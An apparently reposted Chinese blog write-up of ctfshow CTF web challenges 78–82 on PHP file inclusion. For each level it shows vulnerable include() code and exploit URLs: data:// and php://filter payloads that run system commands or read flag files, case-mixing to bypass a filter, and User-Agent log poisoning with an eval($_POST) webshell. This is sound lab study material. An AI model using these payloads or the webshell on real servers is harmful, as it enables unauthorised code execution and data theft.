首页 > 其他分享 >ctfshow(78->81)--文件包含漏洞

ctfshow(78->81)--文件包含漏洞

时间:2024-10-17 23:18:12浏览次数:16  
标签:php str GET -- replace ctfshow file 81 data

Web78

源代码如下:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);

代码审计:

使用 include() 进行文件包含,通过GET方法 传递参数file 获取被包含的文件。

思路:

利用 data:// 伪协议,执行系统命令,获取flag文件位置并读取文件内容。

EXP:

查看当前目录下的文件:

https://bf370b7e-63c4-4edb-a48c-a6b7dbb8ba55.challenge.ctf.show/
?file=data://text/plain,<?php system("ls");?>

找到flag.php,读取其中内容:

https://bf370b7e-63c4-4edb-a48c-a6b7dbb8ba55.challenge.ctf.show/
?file=data://text/plain,<?php system("tac flag.php");?>

得到flag.

拓展

执行系统命令也可以使用 php://input 伪协议:
在这里插入图片描述

读取flag.php文件内容也可以使用 php://filter 伪协议:

https://bf370b7e-63c4-4edb-a48c-a6b7dbb8ba55.challenge.ctf.show/
?file=php://filter/convert.base64-encode/resource=flag.php

将回显内容base64解码即可得到flag.

Web79

源代码如下:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

代码审计:

include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将参数file中的 php 替换为 ???

思路:

由于str_replace()函数对大小写敏感,所有可以使用 大小写混写 进行绕过。

EXP:

查看当前目录下的文件:

https://01f9aa95-884e-4d4f-8edb-23b0edbc668b.challenge.ctf.show/
?file=data://text/plain,<?Php system("ls");?> 

读取flag.php:

https://01f9aa95-884e-4d4f-8edb-23b0edbc668b.challenge.ctf.show/
?file=data://text/plain,<?Php system("tac flag.php");?> 

得到flag.

Web80

源代码如下:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

代码审计:

include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将 参数file中的 php 和 data 替换为 ???

思路:

由于过滤了data,所有不能使用data://伪协议。
因此我们使用同等作用的 php://input 伪协议,且利用 大小写混写 绕过对php的过滤。

EXP:

查看当前目录下的文件:
在这里插入图片描述找到文件fl0g.php,查看内容:
在这里插入图片描述得到flag.

拓展:

使用包含日志文件的方法:
将UA修改为一句话木马

<?php eval($_POST[1]);?>

在这里插入图片描述将POST传参修改为1=system("tac fl0g.php")即可获得flag.

Web81

源代码如下:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

代码审计:

include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将 参数file中的 php 和 data 和:替换为 ???

思路:

过滤了 冒号: ,不能使用伪协议实现漏洞利用。因此我们选择包含日志文件

EXP:

将UA修改为一句话木马

<?php eval($_POST[1]);?>

GET传参nginx下的日志文件的位置,POST传参要执行的代码:
在这里插入图片描述修改POST参数为:1=system('tac fl0g.php');得到flag.

Web82

源代码为:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

代码审计:

include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将 参数file中的 php 和 data 和:和. 替换为 ???

思路:

过滤了 点. ,我们不能使用包含日志文件方法。
考虑使用SESSION条件竞争

标签:php,str,GET,--,replace,ctfshow,file,81,data
From: https://blog.csdn.net/m0_56019217/article/details/143028583

相关文章

  • JavaScript初级课程 variables
    下载node。1.申明变量variables.jsletmessage="Hello!";message="World";console.log(message);nodevariables.js2.申明不会变的变量constCOLOR_GREEN="green";console.log(COLOR_GREEN)3.数据类型DataTypes=[number,BigInt,string......
  • wps图标没有坐标轴标题怎么办?wps表格不能用enter下怎么办?
    目录wps图标没有坐标轴标题怎么办一、在WPSPPT中添加坐标轴标题二、在WPSExcel中添加坐标轴标题wps表格不能用enter下怎么办一、检查并修改设置二、检查单元格保护状态三、使用快捷键实现换行wps图标没有坐标轴标题怎么办一、在WPSPPT中添加坐标轴标题插入......